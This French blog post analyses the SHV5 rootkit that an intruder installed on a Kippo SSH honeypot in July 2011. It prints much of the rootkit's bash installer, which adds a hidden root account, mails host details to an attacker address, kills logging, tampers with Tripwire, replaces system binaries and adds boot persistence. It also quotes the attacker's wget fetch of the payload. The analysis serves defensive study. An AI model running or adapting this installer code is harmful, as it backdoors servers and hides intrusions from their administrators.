Nicolas SURRIBAS

Développement / Réseau / Sécurité Informatique

malware

Intrusion du 19 juillet 2011 : Analyse du rootkit SHV5

Rédigé par devloop - -

Introduction

Le 19 juillet 2011, un nouvel intrus a fait irruption sur ce qu'il pensait être un système Unix faisant tourner un serveur SSH alors qu'il s'agissait en réalité du honeypot SSH, un outil destiné à leurrer les hackers, surveiller leurs activités et récupérer leurs scripts.

Le pirate n'est pas apparu par hasard sur la machine. Il a réalisé une attaque brute force sur le compte root du serveur SSH simulé par Kippo.
Sur cette journée j'ai eu deux attaques brute force concluantes : la première à 10h49 provenant de l'IP 84.14.252.138 et la seconde à 12h03 venant de 123.30.49.8.
Difficile de dire sur laquelle de ces attaques s'est basé le pirate puisqu'il a fait une connexion directe plus tard avec une IP différente : 174.36.18.156.

La première commande lancée sur le système a été "w" pour s'assurer qu'il était le seul connecté sur le serveur et que sa présence ne serait pas vue par un autre utilisateur.
Il a ensuite affiché le contenu du fichier /proc/cpuinfo pour obtenir des informations sur le système et lancé ifconfig pour afficher les interfaces réseau.
La commande wget a aussi été lancée sans arguments, juste pour vérifier que le programme était bien présent sur le système.

Pour empêcher l'historisation de sa session il a copié/collé la commande suivante :
unset HISTFILE HISTSAVE HISTMOVE HISTZONE HISTORY HISTLOG USERHOST REMOTEHOST REMOTEUSER
Il s'est ensuite placé dans le dossier /var/tmp pour récupérer avec wget un fichier à l'adresse http://unixcrew.t35.com/rk.jpg.
Ce fichier à l'extension jpg est en réalité une archive tgz qui une fois décompressée génère un dossier .rc. contenant un fichier setup ainsi que d'autres archives tgz.

Le pirate ne prend pas plus de temps pour explorer le système et exécute immédiatement le script avec ./setup unixteam 1985.

SHV5 : Script d'installation

Le fichier setup est un script bash qui installe un rootkit bien connu de la famille des SHVx (ici SHV5). Du à la longueur du fichier, nous l'étudierons en plusieurs morceaux.
Première partie :

#!/bin/bash
#
# shv5-internal-release
# by: TheDemon
# PRIVATE ! DO NOT DISTRIBUTE BITCHEZ !

# BASIC DEFINES
DEFPASS=dacialogan
DEFPORT=7000
BASEDIR=`pwd`

# DON`T TOUCH BELOW UNLESS YOU KNOW WHAT U`R DOING !
# BEFORE WE MOVE ON LET`s WORK ON SAFE-GROUND !
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

# RAINBOW COLOURS :)
BLK='^[1;30m'
RED='^[1;31m'
GRN='^[1;32m'
YEL='^[1;33m'
BLU='^[1;34m'
MAG='^[1;35m'
CYN='^[1;36m'
WHI='^[1;37m'
DRED='^[0;31m'
DGRN='^[0;32m'
DYEL='^[0;33m'
DBLU='^[0;34m'
DMAG='^[0;35m'
DCYN='^[0;36m'
DWHI='^[0;37m'
RES='^[0m'

# HOPE U`R NO TRYING THIS FROM USER !
# HOWEVER LET`S SEE WHAT KINDA KID U ARE ?
if [ "$(whoami)" != "root" ]; then
  echo "${DCYN}[${WHI}sh${DCYN}] ${WHI} BECOME ROOT AND TRY AGAIN ${RES}"
  echo ""
  exit
fi

# UNZIPING SHITS
tar zxf ./bin.tgz
tar zxf ./conf.tgz
tar zxf ./lib.tgz
tar zxf ./utilz.tgz
cd ./bin; tar zxf ./sshd.tgz
./a
rm -rf ./sshd.tgz
cd $BASEDIR
rm -rf bin.tgz conf.tgz lib.tgz utilz.tgz

sleep 2

cd $BASEDIR

killall -9 syslogd >/dev/null 2>&1

startime=`date +%S`

echo "${DCYN}[${WHI}sh${DCYN}]# Installing shv5 ... this wont take long ${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# If u think we will patch your holes shoot yourself !${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# so patch manualy and fuck off!  ${RES}"
echo ""
echo ""
echo "${WHI}============================================================================${RES}"
echo ""
echo "${BLU}Private Scanner By Raphaello , DeMMoNN , tzepelush & DraC\n\r\t - Do not use this version.\n\n${RES}"
echo "${DCYN}@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#${RES}"
echo "${YEL}##########${DRED}RRRRR   AAAAAAAA   PPPPP    HH  HH${YEL}##########${RES}"
echo "${YEL}##########${DRED}RR   R  AAA  AAA   PP   P   HH  HH${YEL}##########${RES}"
echo "${YEL}##########${DRED}RR   R  AA    AA   PP   P   HH  HH${YEL}##########${RES}"
echo "${YEL}##########${DRED}RRRRR   AAAAAAAA   PPPPP    HHHHHH${YEL}##########${RES}"
echo "${YEL}##########${DRED}RR R    AA    AA   PP       HH  HH${YEL}##########${RES}"
echo "${YEL}##########${DRED}RR RR   AA    AA   PP       HH  HH${YEL}##########${RES}"
echo "${YEL}##########${DRED}RR  RR  AA    AA   PP       HH  HH${YEL}##########${RES}"
echo "${DCYN}#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@${RES}"
echo ""
echo "${WHI}============================================================================${RES}"
echo ""
sleep 2

echo "${DCYN}[${WHI}sh${DCYN}]# backdooring started on ${WHI}`hostname -f`${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# ${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# ${RES}"

SYSLOGCONF="/etc/syslog.conf"

echo -n "${DCYN}[${WHI}sh${DCYN}]# checking for remote logging...  ${RES}"

REMOTE=`grep -v "^#" "$SYSLOGCONF" | grep -v "^$" | grep "@" | cut -d '@' -f 2`

if [ ! -z "$REMOTE" ]; then
  echo "${DCYN}[${WHI}sh${DCYN}]# May Allah help us!${RES}"
  echo
  echo '${RED} REMOTE LOGGING DETECTED ${RES}'
  echo '${DCYN}[${WHI}sh${DCYN}]# I hope you can get to these other computer(s): ${RES}'
  echo
  for host in $REMOTE; do
    echo -n "            "
    echo $host
  done
  echo
  echo ' ${WHI} cuz this box is LOGGING to it... ${RES}'
  echo
  else
  echo " ${WHI} guess not.${RES}"
fi
Cette première partie constitue principalement la présentation du code. Si on cherche sur Internet une copie de ce script on remarque que le nom de l'auteur a été changé. Encore du plagiat.
Deux variables intéressantes sont définies. La première est un mot de passe "dacialogan" qui s'accorde bien avec la supposée nationalité (roumaine) des intrus. La seconde variable intéressante est un numéro de port : 7000.
Le programme désarchive ensuite des fichiers compressés aux noms explicites (bin pour les binaires, conf pour la configuration etc)
Un appel discret à un script baptisé "a" est fait. Voici le contenu du script en question :
password="alex1985"                                                                                                                                                                                                                
pass=$(perl -e 'print crypt($ARGV[0], "wtf")' $password)                                                                                                                                                                           
/usr/sbin/useradd -o -u 0 -g 0 -d /tmp -s /bin/bash -p $pass -f -1 pupacila
/sbin/ifconfig | grep inet | mail -s "inca un root" norocos@canadianbiotech.com
exit
On a ici un ajout automatique d'un compte utilisateur ainsi qu'une référence à une adresse email pour le moins suspects... Pour terminer, le setup analyse brièvement le fichier de configuration de syslog pour déterminer si les logs sont envoyés sur un serveur distant.

Voyons la suite du script :
#######################################################################
## CHEKING FOR MALICIOUS ADMIN TOOLS !(like tripwire, snort, etc...) ##
##                                                                   ##
#######################################################################

echo -n "${DCYN}[${WHI}sh${DCYN}]# checking for tripwire...  ${RES}"

uname=`uname -n`
twd=/var/lib/tripwire/$uname.twd

if [ -d /etc/tripwire ]; then
  echo "${WHI} ALERT: TRIPWIRE FOUND! ${RES}"

  if [ -f /var/lib/tripwire/$uname.twd ]; then
    chattr -isa $twd
    echo -n "${DCYN}[${WHI}sh${DCYN}]# checking for tripwire-database... ${RES}"
    echo "${RED} ALERT! tripwire database found ${RES}"
    echo "${DCYN}[${WHI}sh${DCYN}]# ${WHI} dun worry we got handy-tricks for this :) ${RES}"
    echo "-----------------------------------------" > $twd
    echo "Tripwire segment-faulted !" >> $twd
    echo "-----------------------------------------" >> $twd
    echo "" >> $twd
    echo "The reasons for this may be: " >> $twd
    echo "" >> $twd
    echo "corrupted disc-geometry, possible bad disc-sectors" >> $twd
    echo "corrupted files while checking for possible change etc." >> $twd
    echo ""
    echo "pls. rerun tripwire to build the database again!" >> $twd
    echo "" >> $twd
  else
    echo "${WHI} lucky you: Tripwire database not found. ${RES}"
  fi
else
  echo "${WHI} guess not. ${RES}"
fi
Cette partie du script regarde si Tripwire, un outil de vérification d'intégrité des fichiers, est installé sur la machine. Le rootkit ne cherche pas à leurrer Tripwire car l'opération est délicate. D'autant plus que comme on le verra dans la suite de ce script setup, SHV5 est un rootkit qui fonctionne par remplacement des binaires sur le système donc moins évolué et facilement détectable comparé à un rootkit noyau.
Ici SHV5 insère dans la base de données de Tripwire un message d'erreur (probablement récupéré dans le code de Tripwire) destiné à faire croire l'administrateur du système que le disque dur a des secteurs défectueux.

Reprenons l'analyse du setup :
# restoring login
if [ -f /sbin/xlogin ]; then
  chattr -isa /sbin/xlogin
  chattr -isa /bin/login
  mv -f /sbin/xlogin /bin/login
  chmod 7455 /bin/login
  chattr +isa /bin/login
fi

echo "${DCYN}[${WHI}sh${DCYN}]# [Installing trojans....] ${BLU} ${RES}"

if [ -f /etc/sh.conf ]; then
  chattr -isa /etc/sh.conf
  rm -rf /etc/sh.conf
fi

# checking if we got needed libs and filez
if [ ! -f /lib/libproc.a ]; then
  mv lib/libproc.a /lib/
fi

if [ ! -f /lib/libproc.so.2.0.6 ]; then
  mv lib/libproc.so.2.0.6 /lib/
fi

/sbin/ldconfig >/dev/null 2>&1

#if [ -f /lib/libncurses.so.5 ]; then
#  echo ""
#else
#  ln -s /lib/libncurses.so.4 /lib/libncurses.so.5 2>/dev/null
#fi

if [ -f /.bash_history ]; then
  chattr -isa /.bash_history >/dev/null 2>&1
  rm -rf /.bash_history
fi

if [ -f /bin/.bash_history ]; then
  chattr -isa /bin/.bash_history
  rm -rf /bin/.bash_history
fi

if [ ! -f /usr/bin/md5sum ]; then
  touch -acmr /bin/ls bin/md5sum
  cp bin/md5sum /usr/bin/md5sum
fi
Plusieurs commandes ne semblent pas avoir de sens. La référence à un binaire nommé xlogin n'est pas retrouvée ensuite. Il peut s'agir d'une ligne laissé lors d'un changement de version ou un test oublié par l'auteur...
Le fichier /etc/sh.conf n'existe pas sur un système standard. Il s'agit d'un des fichiers qui est créé ensuite par le rootkit. Ce dernier fait donc le ménage avant de s'installer.
La librairie libproc est une librairie que l'on ne trouve plus sur les systèmes actuels mais qui à l'époque était utilisé par les binaires ps, top, pstree. Cela en faisait une cible privilégié des hackers car il suffisait de modifier cette librairie pour agir sur les résultats de plusieurs binaires à la fois.
La librairie ncurses est notamment utilisée par les programmes top et pstree.
La présence d'un fichier .bash_history sous la racine / ou dans le dossier /bin semble être un pur fruit de l'imagination de l'auteur. Il n'existe pas de tels fichiers à ces emplacements.
Enfin le script remplace le programme de hachage md5sum par le sien et lui donne pour date celles de /bin/ls. Il aurait été plus judicieux de copier celles du md5sum original !
if test -n "$1" ; then
  echo "${DCYN}[${WHI}sh${DCYN}]# Using Password : ${WHI}$1 ${BLU} ${RES}"
  cd $BASEDIR/bin
  echo -n $1|md5sum > /etc/sh.conf
else
  echo "${DCYN}[${WHI}sh${DCYN}]# ${WHI} No Password Specified, using default - $DEFPASS ${BLU} ${RES}"
  echo -n $DEFPASS|md5sum > /etc/sh.conf
fi

touch -acmr /bin/ls /etc/sh.conf
chown -f root:root /etc/sh.conf
chattr +isa /etc/sh.conf
Dans les lignes ci-dessus, le programme place dans le fichier /etc/sh.conf le hash md5 d'un mot de passe choisi par l'utilisateur. S'il est passé par argument, il s'agira du premier argument passé au setup, sinon ce sera celui indiqué dans la source du setup que l'on a vu au début (dacialogan).
Dans notre cas on a vu que le pirate a passé la chaine unixteam au setup. Ce sera donc son mot de passe.
Des attributs spéciaux sont placés sur le fichier pour rendre difficile sa suppression par un administrateur ayant de faibles connaissances.
if test -n "$2" ; then
  echo "${DCYN}[${WHI}sh${DCYN}]# Using ssh-port : ${WHI}$2 ${RES}"
  echo "Port $2" >> $BASEDIR/bin/.sh/sshd_config
  echo "3 $2" >> $BASEDIR/conf/hosts.h
  echo "4 $2" >> $BASEDIR/conf/hosts.h
  port=$2
  cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config; rm -rf $BASEDIR/bin/.sh/shdcf2
  mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf
else
  echo "${DCYN}[${WHI}sh${DCYN}]# No ssh-port Specified, using default - $DEFPORT ${BLU} ${RES}"
  echo "Port $DEFPORT" >> $BASEDIR/bin/.sh/sshd_config
  echo "3 $2" >> $BASEDIR/conf/hosts.h
  echo "4 $2" >> $BASEDIR/conf/hosts.h
  port=$DEFPORT
  cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config; rm -rf $BASEDIR/bin/.sh/shdcf2
  mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf
fi

/sbin/iptables -I INPUT -p tcp --dport $port -j ACCEPT
A l'instar du mot de passe, un port est défini à partir de la ligne de commande ou de la source. Dans notre cas ce sera 1985 et non 7000. On peut supposer que 1985 est la date de naissance de l'intrus...
Ce port est utilisé pour configurer un serveur SSH (fichier sshd_config). On remarque aussi que le numéro de port est placé dans le fichier hosts.h.
Le reste du fichier sshd_config est ensuite rempli par un fichier nommé shdcf2 qui contient les directives nécessaires pour que le serveur ssh fonctionne normalement.
Ces fichiers en rapport avec ssh sont extrait depuis une archive nommée sshd.tgz qui était elle même présente dans bin.tgz. Parmi ces fichiers on trouve la clé privée du serveur SSH. Il est fort à parier que les pirates utilisant ce rootkit ont laissé la clé d'origine sans chercher à en générer une eux même.

Le binaire baptisé sshd qui est présent dans l'archive n'est pas un serveur SSH traditionnel. D'abord il est compilé statiquement et fait 208Ko. Sur mon système, le sshd est compilé dynamiquement et fait 533Ko ! Il s'agit donc plus d'une backdoor sécurisée que d'un vrai serveur SSH.
Ajouté à ça un strings sur le binaire révèle très peu de choses. En fait on trouve uniquement les chaînes suivantes :
Linux
$Info: This file is the propert of SH-crew team designed for test
purposes. $
$Nr: SH- April/2003 produced in SH-labs for Linux Systems.Run and
enjoy. $
Personnellement je n'utiliserais pas un binaire aussi suspect même si c'était pour pirater une machine.
if [ -f /lib/lidps1.so ]; then
  chattr -isa /lib/lidps1.so
  rm -rf /lib/lidps1.so
fi
Le fichier lidps1.so n'est pas une librairie. C'est un fichier texte qui semble contenir le nom de commandes / exécutables : ttyload, shsniff, shp, hide, burim, synscan, mirkforce, ttymon et sh2-power.
if [ -f /usr/include/hosts.h ]; then
  chattr -isa /usr/include/hosts.h
  rm -rf /usr/include/hosts.h
fi
Le fichier hosts.h contient des débuts d'adresse IP et des numéros de ports qui seront cachés par les versions modifiées de netstat et lsof (?).
Le contenu du fichier par défaut est le suivant :
2 212.110
2 195.26
2 194.143
2 62.220
2 193.231
3 2002
4 2002
3 6667
3 8080
4 8080
4 6667
On peut émettre l'hypothèse que le numéro qui précède sert à définir le type. 2 pour une adresse IP, 3 pour un port TCP, 4 pour un port UDP... C'est une idée.
if [ -f /usr/include/file.h ]; then
  chattr -isa /usr/include/file.h
  rm -rf /usr/include/file.h
fi
Le fichier file.h contiendra comme on s'en doute les fichiers à dissimuler sur le système.
Son contenu est le suivant :
sh.conf
libsh
.sh
system
shsb
libsh.so
ttylib
shp
shsniff
srd0
On retrouve bien sûr le fichier sh.conf et d'autres fichiers croisés précédemment. Ce qui est nouveau c'est le srd0 qui ressemble à un périphérique.
if [ -f /usr/include/log.h ]; then
  chattr -isa /usr/include/log.h
  rm -rf /usr/include/log.h
fi
Ce fichier contient les mots mirkforce, synscan et syslog...
if [ -f /usr/include/proc.h ]; then
  chattr -isa /usr/include/proc.h
  rm -rf /usr/include/proc.h
fi
Ce fichier contient tout les noms de processus qui devront être dissimulés aux yeux des utilisateurs du système.
Étudions la suite du setup :
cd $BASEDIR
mv $BASEDIR/conf/lidps1.so /lib/lidps1.so
touch -acmr /bin/ls /lib/lidps1.so
touch -acmr /bin/ls $BASEDIR/conf/*
mv $BASEDIR/conf/* /usr/include/

# Ok lets start creating dirs
SSHDIR=/lib/libsh.so
HOMEDIR=/usr/lib/libsh

if [ -d /lib/libsh.so ]; then
  chattr -isa /lib/libsh.so
  chattr -isa /lib/libsh.so/*
  rm -rf /lib/libsh.so
fi

if [ -d /usr/lib/libsh ]; then
  chattr -isa /usr/lib/libsh
  chattr -isa /usr/lib/libsh/*
  rm -rf /usr/lib/libsh/*
fi

mkdir $SSHDIR
touch -acmr /bin/ls $SSHDIR
mkdir $HOMEDIR
touch -acmr /bin/ls $HOMEDIR

cd $BASEDIR/bin
mv .sh/* $SSHDIR/
mv .sh/.bashrc $HOMEDIR

[coupé]

cp /bin/bash $SSHDIR
Par souci de lisibilité j'ai retiré certaines lignes. Le script place ses binaires dans les dossiers /usr/lib/libssh et /lib/libsh.so. Ces dossiers étant hardcodés il est aisé pour un administrateur ou un outil de sécurité de vérifier leur présence même si les binaires ont été modifiés.
# INITTAB SHUFFLING
chattr -isa /etc/inittab
cat /etc/inittab |grep -v ttyload|grep -v getty > /tmp/.init1
cat /etc/inittab |grep getty > /tmp/.init2

echo "# Loading standard ttys" >> /tmp/.init1
echo "0:2345:once:/usr/sbin/ttyload" >> /tmp/.init1
cat /tmp/.init2 >> /tmp/.init1
echo "" >> /tmp/.init1
echo "# modem getty." >> /tmp/.init1
echo "# mo:235:respawn:/usr/sbin/mgetty -s 38400 modem" >> /tmp/.init1
echo "" >> /tmp/.init1
echo "# fax getty (hylafax)" >> /tmp/.init1
echo "# mo:35:respawn:/usr/lib/fax/faxgetty /dev/modem" >> /tmp/.init1
echo "" >> /tmp/.init1
echo "# vbox (voice box) getty" >> /tmp/.init1
echo "# I6:35:respawn:/usr/sbin/vboxgetty -d /dev/ttyI6" >> /tmp/.init1
echo "# I7:35:respawn:/usr/sbin/vboxgetty -d /dev/ttyI7" >> /tmp/.init1
echo "" >> /tmp/.init1
echo "# end of /etc/inittab" >> /tmp/.init1

echo "/sbin/ttyload -q >/dev/null 2>&1" > /usr/sbin/ttyload
echo "/sbin/ttymon >/dev/null 2>&1" >> /usr/sbin/ttyload
echo "/sbin/ttylib >/dev/null 2>&1" >> /usr/sbin/ttyload
echo "/sbin/iptables -I INPUT -p tcp --dport $port -j ACCEPT" >> /usr/sbin/ttyload
echo "iptables -I INPUT -p tcp --dport $port -j ACCEPT" >> /usr/sbin/ttyload

touch -acmr /bin/ls /usr/sbin/ttyload
chmod +x /usr/sbin/ttyload
chattr +isa /usr/sbin/ttyload
/usr/sbin/ttyload >/dev/null 2>&1

touch -amcr /etc/inittab /tmp/.init1
mv -f /tmp/.init1 /etc/inittab
rm -rf /tmp/.init2

# MAKING SURE WE GOT IT BACKDORED RIGHT !
if [ ! "`grep ttyload /etc/inittab`" ]; then
  echo "${RED}[${WHI}sh${RED}]# WARNING - SSHD WONT BE RELOADED UPON RESTART"
  echo "${RED}[${WHI}sh${RED}]# inittab shuffling probly fucked-up !"
fi
Le setup créé un fichier /usr/sbin/ttyload qui sera chargé par init par le biais de inittab. On remarque que des lignes inutiles (car commentées) sont aussi insérées... Probablement pour essayer de noyer le poisson.
Il ouvre aussi l'accès au port choisi par le pirate par le biais de iptables. Comme expliqué sur une autre analyse ce n'est pas forcément effectif : le firewall n'est pas forcément sur la même machine.
# Say hello to md5sum fixer boys n gurls !
if [ -f /sbin/ifconfig ]; then
  /usr/bin/md5sum /sbin/ifconfig >> .shmd5
fi
if [ -f /bin/ps ]; then
  /usr/bin/md5sum /bin/ps >> .shmd5
fi
if [ -f /bin/ls ]; then
  /usr/bin/md5sum /bin/ls >> .shmd5
fi

[coupé]

if [ -f /usr/bin/md5sum ]; then
  /usr/bin/md5sum /usr/bin/md5sum >> .shmd5
fi
Bonjour md5 fixer ! :D
md5sum fait partie des fichiers backdoorés. Le rôle de la backdoor est de retourner une fausse somme de contrôle md5 qui rassurera l'administrateur. Pour cela il faut stocker les md5 des binaires originaux pour les retourner plus tard. C'est à ça que sert le fichier .shmd5 que l'on voit ici.
On notera que si md5sum est backdooré, ce n'est pas le cas de sha1sum...
if [ ! -f /dev/srd0 ]; then
  ./encrypt -e .shmd5 /dev/srd0
  touch -acmr /bin/ls /dev/srd0
  chattr a+r /dev/srd0
  chown -f root:root /dev/srd0
fi

rm -rf .shmd5
On trouve ici notre fichier srd0 qui est effectivement créé dans /dev. Il est généré depuis le fichier de signatures .shmd5 par le binaire encrypt.
Je ne peux pas dire grand chose sur ce binaire si ce n'est que AVG le détecte comme Linux/Agent2.V, qu'il pèse 15Ko, qu'il est compilé dynamiquement et strippé.
On trouve les chaines "Encrypt / Decrypt tool", "for all files !" et "syntx:". Il prend l'option -e pour chiffrer et -d pour déchiffrer.
Un nm -D lancé sur le binaire révèle qu'il n'utilise que des fonctions de base (fopen, fgets, strncpy, memcpy etc). Sans étude plus poussée impossible de dire quel algorithme est utilisé toutefois le fichier généré ne doit pas être du type périphérique ce qui rend sa présence dans /dev suspecte. C'est pour cela que les autres binaires cherchent à le cacher.
# time change bitch

touch -acmr /sbin/ifconfig ifconfig >/dev/null 2>&1
touch -acmr /bin/ps ps >/dev/null 2>&1
touch -acmr /usr/bin/md5sum md5sum >/dev/null 2>&1
md5sum="norocos@canadianbiotech.com"
C'est explicite : on recopie les dates des binaires originaux pour passer inaperçu. Je n'ai pas mis toutes les lignes. Cette fois il repasse sur le md5sum. On relève l'adresse email.
# Backdoor ps/top/du/ls/netstat/etc..
cd $BASEDIR/bin
BACKUP=/usr/lib/libsh/.backup
mkdir $BACKUP

# ps ...
if [ -f /usr/bin/ps ]; then
  chattr -isa /usr/bin/ps
  cp /usr/bin/ps $BACKUP
  mv -f ps /usr/bin/ps
  chattr +isa /usr/bin/ps
fi

# syslogd ...
# we won`t trojan it coz its too sensitive and won`t work.
# Admin will notice it upon system-restart!

#if [ -f /sbin/syslogd ]; then
#  chattr -isa /sbin/syslogd
#  cp /sbin/syslogd $BACKUP
#  mv -f syslogd /sbin/syslogd 
#  chattr +isa /sbin/syslogd
#fi
Les binaires sont écrasés et les dates originales conservés dans le déplacement avec l'option -f de mv. Le script conserve une copie des binaires originaux en cas de problème, et il peut y en avoir : architecture ou version de la libc incompatible... Comme le script ne fait aucune vérification ça peut très bien casser le système.
Les backups pourraient toutefois s'avérer utiles à un administrateur qui veut corriger son système quoiqu'il est plus sûr de réinstaller le système complètement.
echo "${DCYN}[${WHI}sh${DCYN}]# : ps/ls/top/netstat/ifconfig/find/ and rest backdoored${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# ${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# [Installing some utils...] ${RES}"

cd $BASEDIR

#if [ ! -f /usr/bin/wget ]; then
#  touch -acmr /bin/ls ./bin/wget
#  chmod 744 ./bin/wget
#  mv ./bin/wget /usr/bin/wget
#fi

# PICO WILL MAKE RK GROW BIG!
# SO FUCK OFF AND USE vi !

#if [ ! -f /usr/bin/pico ]; then
#  touch -acmr /bin/ls ./pico
#  chmod 744 ./pico
#  mv ./pico /usr/bin/pico
#fi
Pour une fois je suis d'accord. Pico ça craint ! Utilisez VI !
touch -acmr /bin/ls $BASEDIR/utilz
touch -acmr /bin/ls $BASEDIR/utilz/*
mv $BASEDIR/utilz $HOMEDIR/

echo "${DCYN}[${WHI}sh${DCYN}]# : mirk/synscan/others... moved ${RES}"

echo "${DCYN}[${WHI}sh${DCYN}]# [Moving our files...] ${RES}"

mkdir $HOMEDIR/.sniff
mv $BASEDIR/bin/shsniff $HOMEDIR/.sniff/shsniff
mv $BASEDIR/bin/shp $HOMEDIR/.sniff/shp
mv $BASEDIR/bin/shsb $HOMEDIR/shsb
mv $BASEDIR/bin/hide $HOMEDIR/hide

touch -acmr /bin/ls $HOMEDIR/.sniff/shsniff
touch -acmr /bin/ls $HOMEDIR/.sniff/shp
touch -acmr /bin/ls $HOMEDIR/shsb
touch -acmr /bin/ls $HOMEDIR/hide

chmod +x $HOMEDIR/.sniff/*
chmod +x $HOMEDIR/shsb
chmod +x $HOMEDIR/hide

echo "${DCYN}[${WHI}sh${DCYN}]# : sniff/parse/sauber/hide moved ${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# [Modifying system settings to suite our needs] ${RES}"
Le setup place quelques outils qui étaient dans utilz.tgz. On y retrouve d'autres programmes signés SH-TEAM.
# CHECKING FOR VULN DAEMONS
# JUST WARNING NOT PATCHING HeH
echo "${DCYN}[${WHI}sh${DCYN}]# Checking for vuln-daemons ...  ${RES}"

ps aux > /tmp/.procs

if [ "`cat /tmp/.procs | grep named`" ]; then
  echo "${RED}[${WHI}sh${RED}]# NAMED found - patch it bitch !!!!  ${RES}"
fi

if [ -f /usr/sbin/wu.ftpd ]; then
  echo "${RED}[${WHI}sh${RED}]# WU-FTPD found - patch it bitch !!!!  ${RES}"
fi

if [ "`cat /tmp/.procs | grep smbd`" ]; then
  echo "${RED}[${WHI}sh${RED}]# SAMBA found - patch it bitch !!!!  ${RES}"
fi

if [ "`cat /tmp/.procs | grep rpc.statd`" ]; then
  echo "${RED}[${WHI}sh${RED}]# RPC.STATD found - patch it bitch !!!! ${RES}"
fi

rm -rf /tmp/.procs
netstat -natp > /tmp/.stats

if [ "`cat /tmp/.stats | grep 443 | grep http`" ]; then
  echo "${RED}[${WHI}sh${RED}]# MOD_SSL found - patch it bitch !!!! ${RES}"
fi

rm -rf /tmp/.stats

# CHECKING FOR HOSTILE ROOTKITS/BACKDORS
mkdir $HOMEDIR/.owned

if [ -f /etc/ttyhash ]; then
  chattr -AacdisSu /etc/ttyhash
  rm -rf /etc/ttyhash
fi

if [ -d /lib/ldd.so ]; then
  chattr -isa /lib/ldd.so
  chattr -isa /lib/ldd.so/*
  mv /lib/ldd.so $HOMEDIR/.owned/tk8
  echo "${RED}[${WHI}sh${RED}]# tk8 detected and owned ...!!!! ${RES}"
fi

if [ -d /usr/src/.puta ]; then
  chattr -isa /usr/src/.puta
  chattr -isa /usr/src/.puta/*
  mv /usr/src/.puta $HOMEDIR/.owned/tk7
  echo "${RED}[${WHI}sh${RED}]# tk7 detected and owned ...!!!! ${RES}"
fi

if [ -f /usr/sbin/xntpd ]; then
  chattr -isa /usr/sbin/xntpd
  rm -rf /usr/sbin/xntpd
fi

if [ -f /usr/sbin/nscd ]; then
  chattr -isa /usr/sbin/nscd
  rm -rf /usr/sbin/nscd
fi

if [ -d /usr/include/bex ]; then
  chattr -isa /usr/info/termcap.info-5.gz; rm -rf /usr/info/termcap.info-5.gz
  chattr -isa /usr/include/audit.h; rm -rf /usr/include/audit.h
  chattr -isa /usr/include/bex
  chattr -isa /usr/include/bex/*
  mv /usr/include/bex/ $HOMEDIR/.owned/bex2
  if [ -f /var/log/tcp.log ]; then
    chattr -isa /var/log/tcp.log
    cp /var/log/tcp.log $HOMEDIR/.owned/bex2/snifflog
  fi
  chattr -isa /usr/bin/sshd2 >/dev/null 2>&1
  rm -rf /usr/bin/sshd2 >/dev/null 2>&1
  echo "${RED}[${WHI}sh${RED}]# beX2 detected and owned ...!!!! ${RES}" 
fi

if [ -d /dev/tux/ ]; then
  chattr -isa /usr/bin/xsf >/dev/null 2>&1
  rm -rf /usr/bin/xsf >/dev/null 2>&1
  chattr -isa /usr/bin/xchk >/dev/null 2>&1
  rm -rf /usr/bin/xchk >/dev/null 2>&1
  chattr -isa /dev/tux >/dev/null 2>&1
  mv /dev/tux $HOMEDIR/.owned/tuxkit
  echo "${RED}[${WHI}sh${RED}]# tuxkit detected and owned ...!!!!  ${RES}" 
fi

if [ -f /usr/bin/ssh2d ]; then
  chattr -isa /usr/bin/ssh2d
  rm -rf /usr/bin/ssh2d
  chattr -isa /lib/security/.config/
  chattr -isa /lib/security/.config/*
  rm -rf /lib/security/.config
  echo "${RED}[${WHI}sh${RED}]# optickit detected and removed ...!!!! ${RES}" 
fi

if [ -f /etc/ld.so.hash ]; then
  chattr -isa /etc/ld.so.hash
  rm -rf /etc/ld.so.hash
fi
Amusant... Le setup retire les rootkits qui pourrait être présents sur votre système et vous prévient si des démons à la sécurité hasardeuse sont présents (compris bitch ?)
La suite est dans le même ordre d'idée :
chattr +isa /usr/lib/libsh
chattr +isa /lib/libsh.so

# GREPPING SHITZ FROM rc.sysinit and inetd.conf
if [ -f /etc/rc.d/rc.sysinit ]; then
  chattr -isa /etc/rc.d/rc.sysinit
  cat /etc/rc.d/rc.sysinit | grep -v "# Xntps (NTPv3 daemon) startup.."| grep -v "/usr/sbin/xntps"| grep -v "/usr/sbin/nscd" > /tmp/.grep
  chmod +x /tmp/.grep
  touch -acmr /etc/rc.d/rc.sysinit /tmp/.grep
  mv -f /tmp/.grep /etc/rc.d/rc.sysinit
  rm -rf /tmp/.grep
fi

if [ -f /etc/inetd.conf ]; then
  chattr -isa /etc/inetd.conf
  cat /etc/inetd.conf | grep -v "6635"| grep -v "9705" > /tmp/.grep
  touch -acmr /etc/inted.conf /tmp/.grep
  mv -f /tmp/.grep /etc/inetd.conf
  rm -rf /tmp/.grep
fi

# KILLING SOME LAMME DAEMONS
killall -9 -q nscd >/dev/null 2>&1
killall -9 -q xntps >/dev/null 2>&1
killall -9 -q mountd >/dev/null 2>&1
killall -9 -q mserv >/dev/null 2>&1
killall -9 -q psybnc >/dev/null 2>&1
killall -9 -q t0rns >/dev/null 2>&1
killall -9 -q linsniffer >/dev/null 2>&1
killall -9 -q sniffer >/dev/null 2>&1
killall -9 -q lpsched >/dev/null 2>&1
killall -9 -q sniff >/dev/null 2>&1
killall -9 -q sn1f >/dev/null 2>&1
killall -9 -q sshd2 >/dev/null 2>&1
killall -9 -q xsf >/dev/null 2>&1
killall -9 -q xchk >/dev/null 2>&1
killall -9 -q ssh2d >/dev/null 2>&1


echo "${WHI}--------------------------------------------------------------------${RES}"

